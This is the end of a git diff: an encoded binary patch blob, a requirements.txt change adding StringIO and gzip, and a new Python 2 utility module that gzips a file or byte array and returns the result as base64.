zM5CdKdet~!4d%Sx4@e*qCGjSZNE8(UHvzdk!o5V2M#YGV9jde@mfEP8qS7`_sbWnP zov3J|O%<2aMx{!W+NhZ}GsYI3w4Lui`yRNUnd-Q@rfY`1)_=eK@Au>1|M|~3`|P_7 z_!zJo_yVvOxDU7s_&RV8@D1Qz;H$t9;IlxoLCyjm1W(uK0LG7OkHg?2K(a;1MoE4I z?>d12@W%jVgD(IEk^VeF@KIng;=c@>2Yw4s1KtbF1^x>#1Y80v0sa(N3G4%Qq8zeS zV&GdT9J~r_22VCaD#}d(wt*+xBNOpt19gCp0qYSD)f4Cf|6^bekZg}MgdYp+1Ah^a zY^hA(ZtzzEyTP9h90Xqm41)g(a2Pz6tY3`D9=U z_)Wkb#0PLV5|vfxiow5BxfCKhk9YOTkwGBfvUf6L1Ew75Emg z1K1Ai0^S4c0X_)q1O5=W8@LEK2&@OvdlPc2@w}ZJy+tDD@3F|o{Vln2JSitfy8;+` z+6>R%Ns9%%H!%!Zx;1!ePLAFLk)!vS3`yDp-jjERF^{MH9pq>~2f5mKx%5<@9KEAt z$kNlh0CM#Hg&gf%AQwdm4A;exq!Q~FDHyVJ^bU|*6?#OjF`kchSCEU2^^4UP!8;~$ z^u~?cns|F@uK>A9yjvt!hLIx|j<>5OUTzt3kgJa8qc@@C=shJl+V@DVI-b5dUS1UM zG{`l^%cXb70+WbLQ-A>?Yt#)ZY##KYId`$ywVBNjz{G$QownDvy& zMi%Bj2jL_iS%C$3Q^sT@3r{^rGDt3HFU}=iUfQFRi`_U>PT2G3!A~-hg`CUbC%MSN zPN&75zrpiUILSvALJK^9BmDW;3B=@t!l^FWFG2ny_(?vp@aB%v*P?agzX*PklPtVJ zqHuc8PHm?0NnWzxqckKl)_Av%86n`D4hC2a+HM@U~ zTjb>>d7^qLFUb_OGZ%i6E85e<#*q5BAg~JIBwth}jYHULXP#F+$ypX^U5Rj#HS$w` zN#3YTYA4BD7E&yQpX83(xdeWaJ@Q|I-vV&4_*|1L`twEdn1$5TPKwV$YHC}P*DvPZ z=%r_Vl3PCw$u7+!jRVOq%_EH`$uPBz+Ee4Td5PC%dhhPf3&}UtOMNF9r#)LFGbHEa zC%Gb7CqI=>@=oJ6xi2LD{@kth+Ry5x_29RG)`ah;busQ|GDhvB_2Gxtcyr;mpXQPI zqX~Iw-B9}}Z@Jgz^D&dO{%9WAT3~C*&rSWIHAS;bz4q4@l|r){fP}GLF7QT?o!r&7J7YTx|z*4TPJM37kJ~9IG2g({r=~nKjc_H^E_E# z*Pnb(PMI#r@!H4woa3!s)@L^Mtj`NQS&qg>o%)biA8Q}$gI{;Z8zsN)0&k{R-GyE| zSltEj`e?ja9jxy2<7<<~jEynVCkx{3sKH0={tEEx$o1xw)v?5zdA|;(3#bk@@2n2m z1LV&sYsYGDuBnd6bHwUnGvL=pyB|nCsNBU~Z&|q^FPx3r5^o0BxP5xLw2GLt_~jOP zbIZzQGRw-P9Tz0~Oa`fq6X$?-|M=R}FN^kQ_-(u(?k9O(>9sfNT^;?ahM#9uyf17{ z#@E2Yc>Qd}vf1|Yu$9Q#yuh0We=KONF!{T{%g@pj#bu7#lH<(-OH&YEb5!>w-hNY7 z4wGb-=E8V5r3uB?E0wbl>&mYyCt*HTc(TXxE=WipN(f&TpGzu-X$@9yp{G%pKR-S% zlx8Vr+}8~uul?h89bHw}JP|TIPrLd2wv|C)St6{RVb5x0{wnA*Kh2e% zb;H7|Jqw2UBe+ugY1ocs7EUtZhtm!&-@h&)oV2kYPMX#Cv#T5{XG6TrbnReTsysnI zu@LqfLA-x`B%3b_Eu%7-ox`kQc7358E)-7Vxf;2$pz+7^lD$m(kjQ#twoth@K2&cO zMu+-KHggt!t35x}MfrUjiS6xXI)HxtaN3hM?k6jc*=AW7A7-I3yNdS7_-m&OR}|mB z+G_`sV`kO+ergl*v-UB6l~*_OU+K*O^VcSnQ}4+E3ul%n^V6<8zf2}WEPSIk_e?Hn zhA0gi$GR~;?LhOxY5&)_e>{CfLO9zy&&pxr&ire=F=hTrZ_b#%2DXh~ChcAI{mg=9 zX=o4gc=&j|^`1`N>XVcSg*9Vs`;d z2eUg5=4bQe`)TblKmGdth&R_Pyaux8+aj!9W&<(VWwtf@Zh+ZpemLo9l4;)#W_MBa zwL}(Xnq-ODm$VPdw`49A2fC2lUkN*$>@D)I^~Q(Uf7PB` zF*}U4$G4vtM|sG`toHiM?8ItM-!QwF-H9=KncbZ+n~BLQvvb+q7qjnJsqCu2?tGiEj{tC!h7O#YakwUhbjm#zn7 zo3p!Uc8@~4F)5r~xBdHZpJ%yPJlQ&l@x&*_)5x&eS$Z0sah~qCXeS=U`Ep6SR>_8@ z(23!RI+&%WFF8IfJqw?hp6;>yaUj3nce?+e-L_O0v)$R1hTUKLvO+sk$Nh9a$eu2+ z`zbcxv@e#zX^HFw>>hAE#@oMlWA(D@ zJFP`pnf`Me;z_E;dCJGqR(ka_KkYmA!=v6>W8pDRkF)ziR?ipRc5~!y9iM62jb{hZ zb4jxH$Sz$0OKmRr<>56E`hatNIEW7mgNtivKZW-dBA%s%@l|MWO+#G`#VskTsy)NA zvykn7<_7Q#?Q!<}ZFymCVao3>{dQJx{Y4#JZz?BdBp*Kwr7ko|XkSOPq%an)$A^_A zx#4JatggOfyrF2zSThkE3718~B@JW!xS}EwIj_EgF4}PPOr2=53ufV&VIH0zl3;y` z!_f?XrC=O`=b_Kz-*;0f+~;vn+gSYbC*h1}P-6V#{O_I|NcHo6nBbqBZdLkty2=DU z&eR;MkLr0TII+G>lj6J2nixO1p10>uj8E(jm4B}I-^X9BPK?K~oDg=K z6U#|#2jyLYZ_)|smk+KKU#$DycxV*KR#PgyrHescM*#_)djNopZ; zKPCTlc%Hs19spSREPk5D`9$CLe&_?lKZSgQp#QJu6XZ@G->HVDDusE=Md3VXoIv2M zY1ns$&#r6AYAf)~b~q=HIh{h-SK#dPbbJIIxPHdsXl{6Q5wKrTvi_l{DwjbV->70e9uh$qN+%^ zXhVHCum){D!ubL@wH1Z+RkaK28qvAa(B?=uHu(&Kz^_^9Weu^$dfF6tabOdLu=Z0e zOYsSN4$l3ZL9Ou)ItW-v%NoNC8$#g*?-Tsm@~~G2MrJPMo%j_$Ch(9~hxfTXeKDUC z^;!>KAe&CY@0JN4mu@}ueOw1*brPzB>Q z6Xy-obyRYqB%ohc%q)zA@l|~`WD1R&bRSkazD4frTV^WoyHM zCusHLEDS*-Q9T#sEg}Cey)_l0sSN!4Oz#W^8tuT<<8AS06|H${MnPQ})}D7NgLnGG zqe;tSkrlO9VH;>*i8tr$po=2UzdX#ix2QBWStNxh>BOXq8e{d1IC25&l*J(Q>BREE zuk=bO#90`Dz)xlrjGusjxCf?rr$OdY4S~F0Au-3@l2SPjj2F zI*ulu%7`yk9Mljv$i^X_@8ZBM?EH)Pf_f!>>IG%GIB;R!@}+qNzJ^NF=j8X#N7)X& zJ`KE29pJZtIzgqW*a`#09n(Y$i*()<<3<^ce7GT7qLfqa^N+yNcd{S*$yfh17v_m) zpAa@5^ZCp1bNJ=>JR!|5IUgA}&i}3OBgG%7oFk?8!+rGg|8F9Dqk?@%EjUIEbO3Y^ zbOTh^fgSY~)By1I-0-APtlY$_EvILZBj0F{lJo3aS8Af+C=LPz|P$q~2X`pOSKByQ}32Fkh zfjU7wpnlLE&>(0CGy*yRIs`flO1cSqoItZd>7cnF36u{i0#W)>U@@1h@*>h;qQ z`epRIf<8=7O76mDlG4o^HlGnsbl;oIbI-jDue*ErF!{2tY4(tgBYyJxuYEtrqCfF_ z-CtNxb{rr6jOlaY>3@p!FK!>%esbWq+xKs$okSDeSozo7ASE6bSIw_&Gn3@IHgvWuX4iXLun*};PP83dhnZjid@i}pRVVn;EDbMnFcwro2!h7Y@ zP86z}o~TnfHJ~7<9z^>YaYN>{pZY=VX$Dc7uZ!bmAob;X5XHBEsGM(s&H>#O=kEbh z`?^3>-~Av;_XvpE_X3FGe+{DeGzHM(C@;=sHKf&J>r+GROda`+9HPgIx#(hdSeSesb#HFxMub$j^ zgj;S?O(eJ;Z&vUq$Wpbt%+ro*VPzh(VFwt^BF-r0j*jS zj>c9d)`p^jK`YkK81+8ajhA-j-zZHy)60jP(QtVq&fwe-=MmBnUWY>>W8sQWL)Cgb z?pPa+jzuO$=QSZKJwYo7uMbCp5&E?=%A$*F*Vk2t8#028RXOE!N~)c)rYsT-X9VYu zm1E66axK>U32n0Gk97{&t@-}AftfgopUy$=(hb5%+_@abshrI%l2%H$NViFMN-s(8 zNC%~lB~xA|ZV;}AE`66W3^MYEX~#yX}{E$7!AfIqu1y&W}2s)h2|=Avw5fau=%7p zV18)MvQ(?py3OjfUbOaGA6duRC)%gk8TR>h$X;oe*c~{M{_9OP=_HO$Xd&vHs zJ!=2ip6;CBq&ep}^Bvi7om^*y)8=e(?spz^9&w&?2Ax-(gU-iJs>{2Nx-YqJxbL|i zyMZ9~+mp<4v(WcNT!>rAm2oZH&D>V*4(?~%e(n(WXYNb9&M)PQ_%^4r|C*2| zlnXZsZNhEB+d{f{o>(q!5_`o#@ni8A>2&EFX}%;&rgWFoB?(H7vQcSKb}NI*8_FM) zkCihpa=IE)qw2NlEf}>f^=0*S^*!}8Emten%C!cqNo&>GwcE9OwI6E_YyH{_+MxE1 z_JMX-OVZQzEM3%fJzHO_FV&0m61_}ctJmo`^G`zkH%k&8RpUEEb}BY z-JENlW6n2K(=r#B7nm2BE6mHxa&w*8WZq!jVm@T{na`W=nA5FfE8kjXU16=azHZ%a zeb0K*dc)%FJ@%mezJ0WFA?EDo&WQ7#bI3WyJ=GOm%guKS-6r=(n7t?6Ke&h70F==X zrY?m$k^35E&&IqBakul&@uIL^ctRKujuxxM7ICZiy!ev%j(AW!Us@`ykV>Shr0b<` zN_Sv(dZnY}9Jxf^t-PkpR?kq+#mp>F3)C8QzdEXZMLRr3tNRdgu8`q;R9h* zP(@436E6@8#bPlmJ|*rE-xWU)S4$5|PfB~_59DK&bmbgHR`Qf0I3X8RfQQg;{iC&cDT;!fi4<=^603Dv@gaFlqWe5!n=yhvUlH_124x60p> ze<1%@enNgm{+0Z?yia~t{)7CX{AYQFa!)f?5gI%PIOf`mc-+j1=<(^As}(*~~PTnOB)x&246<*=2T{JIo%l z*WBsJV~Uk(&9*jLH&~t4{niev2O8*C)?Xo&nr+$HcCMXo7eEIU*>~Apn9Ut_kG;}e z>*B%}=s*`2aFtvXdSgFlVU8Z)&lX%EU$|2EXW`qz&xB`%UkIb-rnuYs|B(c^2u%6P(MOHO?*0KIcQna)0mAjY1LHbr<(2w~w37e}$L% zJpOXN8FKV8Kf-51ZXOl-g(0Cud{mq+&5}4NN2-@@l(tK!%9qF$a^sY zazH_0&G`NaFq==~)A=AjkLP#^QrXUDLwn_G1sWpT@ogS-Y6?FaY33r0#9MqWUjPkS z!dLJSKE`k2TaarDzm4zWcksP@A0IJe<|ebnY%{lDcDgV#z0ei?<{op<95P4D1Lh&~ zu$g3~V2;wQx#+WGSyrx9U=>*m{tma}yi*QY;up@TN-ekAfZCI<@FuyzOUc1lk_cYRwJz^iQ z57~$9Bqzn0?W8+%oq3MrSh&g*I7Lp0Q{hCMn6t@g@vb@BoGxdF)9ds({mvd-d4{0L z4nUI~c9Pr_ceb1E&UNRx5_DRwTi_PCC2oZqabxZ#x5aI9x47HfE_a99>-M?*?jCp0 z9dbw91JHPf-9RVyD8Zmi;!?QTTsk+Go5x9<#pQAZToG5oRd5k5#%+QoY~!|Y+qf=h zk6x~i>*w}xgV2s6+yPwC4s%KT=bN2=eh)tgjWfa@;1BVK`6MAlm@T9WbA@@3B1^~> z3WOr)pb8-(#Dq=ILaoq49YQCxP>--v*d^?SKHe(~3;TtG&`JR@Sxgnv#Gsfda-t?? zi}_**8md&R6zjz%u~}>t+rgBu$#SZkCI{tA znUgg+Th5n5a<|A4Yr8CLcy2bEDJpeC!S zYML5UGgVI2)NC~$7D2IEs#dD?u&J8WR#;RWYNy(*_NY76UFvRiK;5ejb#d@h;sn_dGdb8fDw?o%=>R8V`u;BqCu*SNvB6i#Ru@+LX z3N)wKX>vN8oz7lJ_o$NwnbzE5T%}vwPU!t%H?S*yTh9f#Y_61}i`s1HhE`8!Y=J$s zjqijG=!O>PfgaciO|Xma=XXQi1|V^JA#=l!y8V#5gOI#Y$X-B55|SZ*sgS@l$Y2ms zm%eX2eLW{X&r*RjzD4$2(!hxq9o>uMPdxH*#hZogIs1CxkkQGV1$e!XyX#2)Tl7( zjV5E%3fM_@GIUKUv`rfHO%NJ~gT_g`k`&p+cC(FvopMtnFf{^GBQP}rQzI}n0#hR} rH3Cy3Ff{^GBQP}rQzI}n0#hR}H3Cy3Ff{^GBQP}rQzP(q7=ix+BF^?| diff --git a/requirements.txt b/requirements.txt index c7080c5..afb06d5 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,4 +3,6 @@ urllib3[socks] Crypto pyopenssl pefile +StringIO +gzip prettytable \ No newline at end of file diff --git a/utils/gzip_utils.py b/utils/gzip_utils.py new file mode 100644 index 0000000..65ff96e --- /dev/null +++ b/utils/gzip_utils.py @@ -0,0 +1,17 @@ +import StringIO +import gzip +import base64 + + +def get_compressed_base64_from_file(path): + compressed_stream = StringIO.StringIO() + with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed, open(path, 'rb') as infile: + compressed.write(infile.read()) + return base64.b64encode(compressed_stream.getvalue()) + + +def get_compressed_base64_from_binary(bin_bytearray_input): + compressed_stream = StringIO.StringIO() + with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed: + compressed.write(str(bin_bytearray_input)) + return base64.b64encode(compressed_stream.getvalue())